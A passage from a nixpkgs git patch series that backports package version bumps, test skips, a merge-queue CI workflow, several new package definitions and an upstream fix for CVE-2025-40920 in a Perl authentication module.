@@ -9,11 +9,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "proton-ge-bin";
-  version = "GE-Proton10-11";
+  version = "GE-Proton10-12";
 
   src = fetchzip {
     url = "https://github.com/GloriousEggroll/proton-ge-custom/releases/download/${finalAttrs.version}/${finalAttrs.version}.tar.gz";
-    hash = "sha256-gTf8k0fx0KGCHVTQLkZli/CvZMkVVNpgBDpI/eiuynE=";
+    hash = "sha256-mjqcN/gTfAlPDXgJUm8qxH+jvNN8iiIuF33hSQ5Y/Vo=";
   };
 
   dontUnpack = true;

From ba4ea5ec8dc427dc9348932036e1b9da8e1c940c Mon Sep 17 00:00:00 2001
From: Cathal Mullan <contact@cathal.dev>
Date: Wed, 13 Aug 2025 18:35:46 +0100
Subject: [PATCH 3502/4511] cargo-semver-checks: skip platform specific tests

(cherry picked from commit 38922a0ea75a55c4fb50ba25b84b05c807192453)
---
 pkgs/by-name/ca/cargo-semver-checks/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/ca/cargo-semver-checks/package.nix b/pkgs/by-name/ca/cargo-semver-checks/package.nix
index c6c9285c7d9b..3fc0bc3166d3 100644
--- a/pkgs/by-name/ca/cargo-semver-checks/package.nix
+++ b/pkgs/by-name/ca/cargo-semver-checks/package.nix
@@ -34,6 +34,10 @@ rustPlatform.buildRustPackage rec {
     # requires internet access
     "--skip=detects_target_dependencies"
     "--skip=query::tests_lints::feature_missing"
+    # platform specific snapshots
+    "--skip=query::tests_lints::trait_method_target_feature_removed"
+    "--skip=query::tests_lints::unsafe_trait_method_requires_more_target_features"
+    "--skip=query::tests_lints::unsafe_trait_method_target_feature_added"
   ];
 
   preCheck = ''

From 36c6cb850b23cd1bb86d547554c0a385e7517399 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 16 Jul 2025 11:47:22 +0300
Subject: [PATCH 3503/4511] python313Packages.img2pdf: skip tests that fail on
 aarch64

(cherry picked from commit 68d85497cac3c732fb5a3d0a90507e9751d3bb0f)
---
 pkgs/development/python-modules/img2pdf/default.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/development/python-modules/img2pdf/default.nix b/pkgs/development/python-modules/img2pdf/default.nix
index 2f9cd6a685d4..413eb08c4c86 100644
--- a/pkgs/development/python-modules/img2pdf/default.nix
+++ b/pkgs/development/python-modules/img2pdf/default.nix
@@ -83,6 +83,9 @@ buildPythonPackage rec {
     "test_miff_cmyk16"
     "test_png_gray16"
     "test_png_rgb16"
+    # these only fail on aarch64
+    "test_png_rgba8"
+    "test_png_gray8a"
   ];
 
   pythonImportsCheck = [ "img2pdf" ];

From fe1404b8030cec1dc55eafd1d23dda304bfefa68 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 5 Aug 2025 12:53:12 +0200
Subject: [PATCH 3504/4511] workflows/merge-group: init

Introduces a basic merge queue workflow to initially only run lints.
This will avoid accidentally merging changes which break nixfmt after
its recent update to 1.0.0.

(cherry picked from commit 04c039f993175056ec96a409f7ac6987ddbd4f71)
---
 .github/workflows/README.md       | 14 ++++++++++++++
 .github/workflows/merge-group.yml | 31 +++++++++++++++++++++++++++++++
 2 files changed, 45 insertions(+)
 create mode 100644 .github/workflows/merge-group.yml

diff --git a/.github/workflows/README.md b/.github/workflows/README.md
index c2a16827ebd4..10b0276be144 100644
--- a/.github/workflows/README.md
+++ b/.github/workflows/README.md
@@ -61,3 +61,17 @@ This results in a key with the following semantics:
 ```
 <running-workflow>-<triggering-workflow>-<triggered-event>-<pull-request/fallback>
 ```
+
+## Required Status Checks
+
+The "Required Status Checks" branch ruleset is implemented in two top-level workflows: `pr.yml` and `merge-group.yml`.
+
+The PR workflow defines all checks that need to succeed to add a Pull Request to the Merge Queue.
+If no Merge Queue is set up for a branch, the PR workflow defines the checks required to merge into the target branch.
+
+The Merge Group workflow defines all checks that are run as part of the Merge Queue.
+Only when these pass, a Pull Request is finally merged into the target branch.
+They don't apply when no Merge Queue is set up.
+
+Both workflows work with the same `no PR failures` status check.
+This name can never be changed, because it's used in the branch ruleset for these rules.
diff --git a/.github/workflows/merge-group.yml b/.github/workflows/merge-group.yml
new file mode 100644
index 000000000000..72b8deeb2dbc
--- /dev/null
+++ b/.github/workflows/merge-group.yml
@@ -0,0 +1,31 @@
+name: Merge Group
+
+on:
+  merge_group:
+
+permissions: {}
+
+jobs:
+  lint:
+    name: Lint
+    uses: ./.github/workflows/lint.yml
+    with:
+      mergedSha: ${{ github.event.merge_group.head_sha }}
+      targetSha: ${{ github.event.merge_group.base_sha }}
+
+  # This job's only purpose is to serve as a target for the "Required Status Checks" branch ruleset.
+  # It "needs" all the jobs that should block the Merge Queue.
+  # If they pass, it is skipped — which counts as "success" for purposes of the branch ruleset.
+  # However, if any of them fail, this job will also fail — thus blocking the branch ruleset.
+  no-pr-failures:
+    # Modify this list to add or remove jobs from required status checks.
+    needs:
+      - lint
+    # WARNING:
+    # Do NOT change the name of this job, otherwise the rule will not catch it anymore.
+    # This would prevent all PRs from passing the merge queue.
+    name: no PR failures
+    if: ${{ failure() }}
+    runs-on: ubuntu-24.04-arm
+    steps:
+      - run: exit 1

From d56b67d2c1c51736cb792396c6be90b90baa77c9 Mon Sep 17 00:00:00 2001
From: Doron Behar <doron.behar@gmail.com>
Date: Wed, 16 Jul 2025 23:35:52 +0300
Subject: [PATCH 3505/4511] beets: refresh failing tests list

From some reason using the full path in the `disabledTests` list:

test/plugins/test_embedart.py::EmbedartCliTest::test_reject_different_art

Did not disable the test. It could be that the tests this commit
removed, also were not really disabled.

(cherry picked from commit 6457af125a8ec29fc19d76a526248c070b2354ff)
---
 pkgs/tools/audio/beets/common.nix | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/pkgs/tools/audio/beets/common.nix b/pkgs/tools/audio/beets/common.nix
index c914a44ef616..0fd7813d9a3a 100644
--- a/pkgs/tools/audio/beets/common.nix
+++ b/pkgs/tools/audio/beets/common.nix
@@ -172,10 +172,8 @@ python3Packages.buildPythonApplication {
       "test/plugins/test_player.py"
     ];
   disabledTests = disabledTests ++ [
-    # beets.ui.UserError: unknown command 'autobpm'
-    "test/plugins/test_autobpm.py::TestAutoBPMPlugin::test_import"
-    # AssertionError: assert 0 == 117
-    "test/plugins/test_autobpm.py::TestAutoBPMPlugin::test_command"
+    # https://github.com/beetbox/beets/issues/5880
+    "test_reject_different_art"
   ];
 
   # Perform extra "sanity checks", before running pytest tests.

From 8966cc11dcac16767eca0c1dd5301f02be46e77f Mon Sep 17 00:00:00 2001
From: Maxwell Rupp <gig@gignsky.com>
Date: Wed, 13 Aug 2025 09:10:28 -0400
Subject: [PATCH 3506/4511] vimPlugins.themery-nvim: init at 2025-01-01

(cherry picked from commit 20d6c8181319fd74345f728536329def98593e5f)

Co-authored-by: Maxwell Rupp <gig@gignsky.com>

Backporting from PR #433412

Reason: New package added in above-mentioned PR, this will backport it
to the most recent stable version of nixpkgs
---
 pkgs/applications/editors/vim/plugins/generated.nix | 13 +++++++++++++
 .../editors/vim/plugins/vim-plugin-names            |  1 +
 2 files changed, 14 insertions(+)

diff --git a/pkgs/applications/editors/vim/plugins/generated.nix b/pkgs/applications/editors/vim/plugins/generated.nix
index 4d0131d4ca14..ff92a12b6d67 100644
--- a/pkgs/applications/editors/vim/plugins/generated.nix
+++ b/pkgs/applications/editors/vim/plugins/generated.nix
@@ -14558,6 +14558,19 @@ final: prev: {
     meta.hydraPlatforms = [ ];
   };
 
+  themery-nvim = buildVimPlugin {
+    pname = "themery.nvim";
+    version = "2025-01-01";
+    src = fetchFromGitHub {
+      owner = "zaldih";
+      repo = "themery.nvim";
+      rev = "bfa58f4b279d21cb515b28023e1b68ec908584b2";
+      sha256 = "0wrd3965wss9qzz4qfy5ryfj71napm5ckx98lwxrxszah6pmz3fl";
+    };
+    meta.homepage = "https://github.com/zaldih/themery.nvim/";
+    meta.hydraPlatforms = [ ];
+  };
+
   thesaurus_query-vim = buildVimPlugin {
     pname = "thesaurus_query.vim";
     version = "2022-12-11";
diff --git a/pkgs/applications/editors/vim/plugins/vim-plugin-names b/pkgs/applications/editors/vim/plugins/vim-plugin-names
index 09a1abd40879..da3b485607ca 100644
--- a/pkgs/applications/editors/vim/plugins/vim-plugin-names
+++ b/pkgs/applications/editors/vim/plugins/vim-plugin-names
@@ -1117,6 +1117,7 @@ https://github.com/KeitaNakamura/tex-conceal.vim/,,
 https://github.com/let-def/texpresso.vim/,HEAD,
 https://github.com/johmsalas/text-case.nvim/,HEAD,
 https://github.com/vhsconnect/themed-tabs.nvim/,HEAD,
+https://github.com/zaldih/themery.nvim/,HEAD,
 https://github.com/ron89/thesaurus_query.vim/,,
 https://github.com/itchyny/thumbnail.vim/,,
 https://github.com/nvzone/timerly/,HEAD,

From 544e965ac81c8c37eb251aee8996d78fc711dc1e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 2 Aug 2025 07:02:24 +0000
Subject: [PATCH 3507/4511] tutanota-desktop: 277.250414.1 -> 299.250725.1

(cherry picked from commit 5ba3f27dcea52d6ab9fe4710fa22fd1365272111)
---
 pkgs/by-name/tu/tutanota-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/tu/tutanota-desktop/package.nix b/pkgs/by-name/tu/tutanota-desktop/package.nix
index 370e2240c221..ff1c49ea1031 100644
--- a/pkgs/by-name/tu/tutanota-desktop/package.nix
+++ b/pkgs/by-name/tu/tutanota-desktop/package.nix
@@ -7,11 +7,11 @@
 
 appimageTools.wrapType2 rec {
   pname = "tutanota-desktop";
-  version = "277.250414.1";
+  version = "299.250725.1";
 
   src = fetchurl {
     url = "https://github.com/tutao/tutanota/releases/download/tutanota-desktop-release-${version}/tutanota-desktop-linux.AppImage";
-    hash = "sha256-Ke9c9kugI+Cym24Nf4juW1oFiCCTNURZy7C1+TFF0rc=";
+    hash = "sha256-nZ9LdXqGAEeCM/1tzfz0jnq6AyamobmP/vNgJoHjfhs=";
   };
 
   extraPkgs = pkgs: [ pkgs.libsecret ];

From f5648130bb84b0142f5b5bd6e2caa863259e6bbc Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 11 Aug 2025 06:13:20 +0000
Subject: [PATCH 3508/4511] linuxPackages.prl-tools: 20.4.0-55980 ->
 20.4.1-55996

(cherry picked from commit afb6b5495b14710fa05004b641f6d14ff7889502)
---
 pkgs/os-specific/linux/prl-tools/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/prl-tools/default.nix b/pkgs/os-specific/linux/prl-tools/default.nix
index 3a042cd50e4f..120a14a37107 100644
--- a/pkgs/os-specific/linux/prl-tools/default.nix
+++ b/pkgs/os-specific/linux/prl-tools/default.nix
@@ -43,13 +43,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "prl-tools";
-  version = "20.4.0-55980";
+  version = "20.4.1-55996";
 
   # We download the full distribution to extract prl-tools-lin.iso from
   # => ${dmg}/Parallels\ Desktop.app/Contents/Resources/Tools/prl-tools-lin.iso
   src = fetchurl {
     url = "https://download.parallels.com/desktop/v${lib.versions.major finalAttrs.version}/${finalAttrs.version}/ParallelsDesktop-${finalAttrs.version}.dmg";
-    hash = "sha256-FTlQNTdR5SpulF9f0qtmm+ynovaD4thTNAk96HbIzFQ=";
+    hash = "sha256-CEyP8YZPLzjVAAjOaUqwQ4Ilzk9ybAtTTZUGZbSRrKQ=";
   };
 
   hardeningDisable = [

From 1a98b7d6ac1ca53c7680e8a55dbb424585f0b216 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 9 Aug 2025 09:42:50 +0000
Subject: [PATCH 3509/4511] tomcat9: 9.0.107 -> 9.0.108

(cherry picked from commit a58f01c29f5593a55e0c1b7ecd4d9f34883fef0a)
---
 pkgs/servers/http/tomcat/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/tomcat/default.nix b/pkgs/servers/http/tomcat/default.nix
index 84a7bb32024c..33f30746b093 100644
--- a/pkgs/servers/http/tomcat/default.nix
+++ b/pkgs/servers/http/tomcat/default.nix
@@ -60,8 +60,8 @@ let
 in
 {
   tomcat9 = common {
-    version = "9.0.107";
-    hash = "sha256-08qgrQpltJMafTrsok5VQc90O6X6nlGr2ls6MdC0hX0=";
+    version = "9.0.108";
+    hash = "sha256-qpEnzHOPUyqjTjR7MGqCFX+1tJm/wCi0/69521lW0o0=";
   };
 
   tomcat10 = common {

From 2dae4e519d36711e4f23d5f26227afde7f27e9f6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 8 Aug 2025 01:32:35 +0000
Subject: [PATCH 3510/4511] tomcat: 11.0.9 -> 11.0.10

(cherry picked from commit 0d90820359145ec8a07b5305a5f4e5b715d0697b)
---
 pkgs/servers/http/tomcat/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/tomcat/default.nix b/pkgs/servers/http/tomcat/default.nix
index 84a7bb32024c..272297f584ce 100644
--- a/pkgs/servers/http/tomcat/default.nix
+++ b/pkgs/servers/http/tomcat/default.nix
@@ -70,7 +70,7 @@ in
   };
 
   tomcat11 = common {
-    version = "11.0.9";
-    hash = "sha256-YsVio60p26PqBPWK4x6/yGXPISAzUWP88PwD1CbtOoc=";
+    version = "11.0.10";
+    hash = "sha256-6w4ybJed9iyiqq0igUalagYyP9Okroz8NP8NLeWKMNY=";
   };
 }

From dbe8dd59e21c3a789e044cd1136cfdde976adb51 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 10 Aug 2025 10:26:17 +0000
Subject: [PATCH 3511/4511] tomcat10: 10.1.43 -> 10.1.44

(cherry picked from commit 83432fe50679da9ea9a4e2809b8779d23412b20d)
---
 pkgs/servers/http/tomcat/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/tomcat/default.nix b/pkgs/servers/http/tomcat/default.nix
index 84a7bb32024c..3bd3c1eaa959 100644
--- a/pkgs/servers/http/tomcat/default.nix
+++ b/pkgs/servers/http/tomcat/default.nix
@@ -65,8 +65,8 @@ in
   };
 
   tomcat10 = common {
-    version = "10.1.43";
-    hash = "sha256-hZ0Vx/DgjlQ6klv4RyjuIWbHELFKYvvJvn9Y8XqpZ10=";
+    version = "10.1.44";
+    hash = "sha256-4CDC+oZJ8d6au8LdznDdYemX0O0WHuAqMN5LIhJjvpw=";
   };
 
   tomcat11 = common {

From 6cbd18920030c8afd6c41f7855284507fd785708 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sun, 3 Aug 2025 22:17:16 -0600
Subject: [PATCH 3512/4511] picocrypt: 1.48 -> 1.49

https://github.com/Picocrypt/Picocrypt/releases/tag/1.49
Diff: https://github.com/Picocrypt/Picocrypt/compare/1.48...1.49
(cherry picked from commit 9a6df14a146dc12c3963f4ea0ed8737b8e50061e)
---
 pkgs/by-name/pi/picocrypt/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pi/picocrypt/package.nix b/pkgs/by-name/pi/picocrypt/package.nix
index 3700983f5760..b9085ca4be4b 100644
--- a/pkgs/by-name/pi/picocrypt/package.nix
+++ b/pkgs/by-name/pi/picocrypt/package.nix
@@ -15,18 +15,18 @@
 
 buildGoModule (finalAttrs: {
   pname = "picocrypt";
-  version = "1.48";
+  version = "1.49";
 
   src = fetchFromGitHub {
     owner = "Picocrypt";
     repo = "Picocrypt";
     tag = finalAttrs.version;
-    hash = "sha256-Gvh6t/jFRBCX+I9CYkXV265PiRSSvH6qAgkU0fA/v4A=";
+    hash = "sha256-B10PP/V8xvYbA6rQHWdav/KtQKecNUmwvj9qMYqml8E=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/src";
 
-  vendorHash = "sha256-HvtQFoAK4+DX2Mwzf5f39tTnxJcH7Dox/otlvPVczeA=";
+  vendorHash = "sha256-0fEy/YuZa7dENfL3y+NN4SLWYwOLmXqHHJEiU37AkX4=";
 
   ldflags = [
     "-s"

From 71509b203f2eb847953eaa8b74e27a289ca1497b Mon Sep 17 00:00:00 2001
From: Dionysis Grigoropoulos <dgrig@erethon.com>
Date: Sun, 3 Aug 2025 11:01:23 +0300
Subject: [PATCH 3513/4511] matrix-alertmanager: 0.8.0 -> 0.9.0

Diff: https://github.com/jaywink/matrix-alertmanager/compare/v0.8.0...v0.9.0
Changelog: https://github.com/jaywink/matrix-alertmanager/releases/tag/v0.9.0
(cherry picked from commit d687cdb8697097b99d209d5c7f361d7350d1680c)
---
 pkgs/by-name/ma/matrix-alertmanager/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-alertmanager/package.nix b/pkgs/by-name/ma/matrix-alertmanager/package.nix
index f528d8539862..945257620cff 100644
--- a/pkgs/by-name/ma/matrix-alertmanager/package.nix
+++ b/pkgs/by-name/ma/matrix-alertmanager/package.nix
@@ -7,13 +7,13 @@
 
 buildNpmPackage rec {
   pname = "matrix-alertmanager";
-  version = "0.8.0";
+  version = "0.9.0";
 
   src = fetchFromGitHub {
     owner = "jaywink";
     repo = "matrix-alertmanager";
     rev = "v${version}";
-    hash = "sha256-GwASazYgZTYrMn696VL+JKEjECoCKxr2VWj2zae8U/E=";
+    hash = "sha256-t5e9UfRtt1OzxEXuMkPLW352BbAVSLEt26fo5YppQQc=";
   };
 
   postPatch = ''
@@ -21,7 +21,7 @@ buildNpmPackage rec {
     mv package.json.tmp package.json
   '';
 
-  npmDepsHash = "sha256-LCbImn0EGbTtB30IjLU+tjP38BQdk5Wozsl3EgOrcs8=";
+  npmDepsHash = "sha256-4UYX9ndqecr06/gZeouzrDss6568jBXY1ypcVX7DEVk=";
 
   dontNpmBuild = true;
 

From e5e1b0e945cef73929868654998bd441fdaa146c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 23 May 2025 11:03:30 +0000
Subject: [PATCH 3514/4511] r2modman: 3.1.58 -> 3.2.0

(cherry picked from commit 19069456f778dcdd9b60e6f8833ac48b055084b5)
---
 pkgs/by-name/r2/r2modman/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/r2/r2modman/package.nix b/pkgs/by-name/r2/r2modman/package.nix
index 8ff252ef6fdf..cef3abad2691 100644
--- a/pkgs/by-name/r2/r2modman/package.nix
+++ b/pkgs/by-name/r2/r2modman/package.nix
@@ -15,18 +15,18 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "r2modman";
-  version = "3.1.58";
+  version = "3.2.0";
 
   src = fetchFromGitHub {
     owner = "ebkr";
     repo = "r2modmanPlus";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-ICLKkhgEi0ThWHLgm9fr0QXXtWMCAOJ6nkD66JR8XMo=";
+    hash = "sha256-RCMb9NaGzFRV2sXBxeb9G9pHmKf66/wwlNrpKIUE2iQ=";
   };
 
   offlineCache = fetchYarnDeps {
     yarnLock = "${finalAttrs.src}/yarn.lock";
-    hash = "sha256-3SMvUx+TwUmOur/50HDLWt0EayY5tst4YANWIlXdiPQ=";
+    hash = "sha256-F+TYP8F/2YAubeBIFMXlhNjjAPVTPMkZ+oH6UVt/gbs=";
   };
 
   patches = [

From 63ea3b08b493fee69aa70f0e8cd2bc40399d3236 Mon Sep 17 00:00:00 2001
From: fred21O4 <67189813+fred21O4@users.noreply.github.com>
Date: Sun, 1 Jun 2025 17:08:13 +0000
Subject: [PATCH 3515/4511] r2modman: handle ror2mm:// links (#410692)

Allow r2modman to handle ror2mm://

This change allows users to install mods using the "Install with Mod Manager" button on Thunderstore

(cherry picked from commit 772af2695ba80c339fd476ae80adf31671c9b224)
---
 pkgs/by-name/r2/r2modman/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/r2/r2modman/package.nix b/pkgs/by-name/r2/r2modman/package.nix
index cef3abad2691..f19d69f84771 100644
--- a/pkgs/by-name/r2/r2modman/package.nix
+++ b/pkgs/by-name/r2/r2modman/package.nix
@@ -95,11 +95,12 @@ stdenv.mkDerivation (finalAttrs: {
   desktopItems = [
     (makeDesktopItem {
       name = "r2modman";
-      exec = "r2modman";
+      exec = "r2modman %U";
       icon = "r2modman";
       desktopName = "r2modman";
       comment = finalAttrs.meta.description;
       categories = [ "Game" ];
+      mimeTypes = [ "x-scheme-handler/ror2mm" ];
       keywords = [
         "launcher"
         "mod manager"

From dfba09a98b9e7e4973d6caa4713f7b820a207e33 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 2 Jul 2025 06:50:06 +0000
Subject: [PATCH 3516/4511] r2modman: 3.2.0 -> 3.2.1

(cherry picked from commit b046b186ff589beae66e528b1ae212e7825a3f9d)
---
 pkgs/by-name/r2/r2modman/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/r2/r2modman/package.nix b/pkgs/by-name/r2/r2modman/package.nix
index f19d69f84771..d9504d7c99de 100644
--- a/pkgs/by-name/r2/r2modman/package.nix
+++ b/pkgs/by-name/r2/r2modman/package.nix
@@ -15,18 +15,18 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "r2modman";
-  version = "3.2.0";
+  version = "3.2.1";
 
   src = fetchFromGitHub {
     owner = "ebkr";
     repo = "r2modmanPlus";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-RCMb9NaGzFRV2sXBxeb9G9pHmKf66/wwlNrpKIUE2iQ=";
+    hash = "sha256-l1xrp+Gl26kiWqh5pIKp4QiETrzr5mTrUP10T0DhUCw=";
   };
 
   offlineCache = fetchYarnDeps {
     yarnLock = "${finalAttrs.src}/yarn.lock";
-    hash = "sha256-F+TYP8F/2YAubeBIFMXlhNjjAPVTPMkZ+oH6UVt/gbs=";
+    hash = "sha256-HLVHxjyymi0diurVamETrfwYM2mkUrIOHhbYCrqGkeg=";
   };
 
   patches = [

From c4900d54b6f6c5d64f0c54608866b37cafa96a81 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 6 Aug 2025 06:48:35 +0000
Subject: [PATCH 3517/4511] r2modman: 3.2.1 -> 3.2.3

(cherry picked from commit d0a8b6f3b419ffc723b55c66144a9df1f3c4a523)
---
 pkgs/by-name/r2/r2modman/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/r2/r2modman/package.nix b/pkgs/by-name/r2/r2modman/package.nix
index d9504d7c99de..1a858483234b 100644
--- a/pkgs/by-name/r2/r2modman/package.nix
+++ b/pkgs/by-name/r2/r2modman/package.nix
@@ -15,13 +15,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "r2modman";
-  version = "3.2.1";
+  version = "3.2.3";
 
   src = fetchFromGitHub {
     owner = "ebkr";
     repo = "r2modmanPlus";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-l1xrp+Gl26kiWqh5pIKp4QiETrzr5mTrUP10T0DhUCw=";
+    hash = "sha256-0LlZsyUSVuDakbNUzJ1ZUBe9KxWNd0ONKkPafwbCINY=";
   };
 
   offlineCache = fetchYarnDeps {

From a1c2211951dfaf31fc06f2c96d0730c758b70b82 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Wed, 13 Aug 2025 15:02:24 +0200
Subject: [PATCH 3518/4511] perlPackages.CryptSysRandom: init at 0.007

(cherry picked from commit c78e5ada0eba746a0cd470a6151b6de420a4ac9a)
---
 pkgs/top-level/perl-packages.nix | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index 96b3e5ffad0f..1de151df62b2 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -7491,6 +7491,22 @@ with self;
     };
   };
 
+  CryptSysRandom = buildPerlPackage {
+    pname = "Crypt-SysRandom";
+    version = "0.007";
+    src = fetchurl {
+      url = "mirror://cpan/authors/id/L/LE/LEONT/Crypt-SysRandom-0.007.tar.gz";
+      hash = "sha256-pdSemPyjxSZsea6YmoXsoik0sFiAPuSz5usI78pO70Y=";
+    };
+    meta = {
+      description = "Perl interface to system randomness";
+      license = with lib.licenses; [
+        artistic1
+        gpl1Plus
+      ];
+    };
+  };
+
   CryptTwofish = buildPerlPackage {
     pname = "Crypt-Twofish";
     version = "2.18";

From ad0d79ea4fbbe2bafc370874bc888d29c320bdf3 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Wed, 13 Aug 2025 15:04:02 +0200
Subject: [PATCH 3519/4511] perlPackages.CatalystAuthenticationCredentialHTTP:
 apply patch for CVE-2025-40920

See https://github.com/perl-catalyst/Catalyst-Authentication-Credential-HTTP/pull/1

(cherry picked from commit ad8f238ec41203d8e3d3737c2f9e4885a9a7296e)
---
 pkgs/top-level/perl-packages.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index 1de151df62b2..3f3383d2ef78 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -3322,6 +3322,13 @@ with self;
       url = "mirror://cpan/authors/id/E/ET/ETHER/Catalyst-Authentication-Credential-HTTP-1.018.tar.gz";
       hash = "sha256-b6GBbe5kSw216gzBXF5xHcLO0gg2JavOcJZSHx1lpSk=";
     };
+    patches = [
+      (fetchpatch {
+        name = "CVE-2025-40920.patch";
+        url = "https://github.com/perl-catalyst/Catalyst-Authentication-Credential-HTTP/commit/ad2c03aad95406db4ce35dfb670664ebde004c18.patch";
+        hash = "sha256-WI6JwvY6i3KkQO9HbbSvHPX8mgM8I2cF0UTjF1D14T4=";
+      })
+    ];
     buildInputs = [
       ModuleBuildTiny
       TestException
@@ -3331,6 +3338,7 @@ with self;
     propagatedBuildInputs = [
       CatalystPluginAuthentication
       ClassAccessor
+      CryptSysRandom
       DataUUID
       StringEscape
     ];

From 00aa298fa0659b4db8af11d664a1d10c029a8453 Mon Sep 17 00:00:00 2001
From: Matteo Pacini <m+github@matteopacini.me>
Date: Wed, 13 Aug 2025 23:20:25 +0100
Subject: [PATCH 3520/4511] home-assistant-custom-components.octopus_energy:
 init at 16.0.2

(cherry picked from commit 05aa542b17ec054f207610c1dd10066d6151a7cd)
---
 .../octopus_energy/package.nix                | 59 +++++++++++++++++++
 1 file changed, 59 insertions(+)
 create mode 100644 pkgs/servers/home-assistant/custom-components/octopus_energy/package.nix

diff --git a/pkgs/servers/home-assistant/custom-components/octopus_energy/package.nix b/pkgs/servers/home-assistant/custom-components/octopus_energy/package.nix
new file mode 100644
index 000000000000..96ccf01ca31c
--- /dev/null
+++ b/pkgs/servers/home-assistant/custom-components/octopus_energy/package.nix
@@ -0,0 +1,59 @@
+{
+  lib,
+  fetchFromGitHub,
+  buildHomeAssistantComponent,
+  pytestCheckHook,
+  pytest-homeassistant-custom-component,
+  pydantic,
+  mock,
+  nix-update-script,
+}:
+buildHomeAssistantComponent rec {
+  owner = "BottlecapDave";
+  domain = "octopus_energy";
+  version = "16.0.2";
+
+  src = fetchFromGitHub {
+    inherit owner;
+    repo = "HomeAssistant-OctopusEnergy";
+    tag = "v${version}";
+    hash = "sha256-/lhM00CNVPoZ8oohPuJ5j0pf0Dmxym3eycdkknlaAug=";
+  };
+
+  dependencies = [ pydantic ];
+
+  nativeCheckInputs = [
+    pytestCheckHook
+    pytest-homeassistant-custom-component
+    mock
+  ];
+
+  disabledTestPaths = [
+    # Integration tests require a valid Octopus Energy API Key
+    # https://github.com/BottlecapDave/HomeAssistant-OctopusEnergy/blob/develop/CONTRIBUTING.md#integration-tests
+    "tests/integration"
+    "tests/local_integration"
+
+    # This unit test changes Home Assistant's default time zone to Europe/London
+    # without restoring it, which fails pytest-homeassistant-custom-component's
+    # teardown
+    "tests/unit/utils/test_get_off_peak_cost.py::test_when_rates_available_and_bst_then_off_peak_cost_returned"
+  ];
+
+  passthru.updateScript = nix-update-script {
+    extraArgs = [
+      "--version-regex"
+      # Ignore pre-release versions ("beta")
+      "^v[0-9]+\\.[0-9]+\\.[0-9]+$"
+    ];
+  };
+
+  meta = {
+    changelog = "https://github.com/BottlecapDave/HomeAssistant-OctopusEnergy/releases/tag/v${version}";
+    description = "Unofficial Home Assistant integration for interacting with Octopus Energy";
+    homepage = "https://github.com/BottlecapDave/HomeAssistant-OctopusEnergy";
+    maintainers = [ lib.maintainers.matteopacini ];
+    license = lib.licenses.mit;
+  };
+
+}

From 523ed1596f80f403900ec5137eea647a681a46d7 Mon Sep 17 00:00:00 2001
From: Matteo Pacini <m+github@matteopacini.me>
Date: Tue, 22 Jul 2025 10:03:04 +0100
Subject: [PATCH 3521/4511] shipwright: 9.0.2 -> 9.0.5

(cherry picked from commit 6ab6e596a89268fc2eb5a41142d363413b222478)
---
 pkgs/by-name/sh/shipwright/package.nix | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

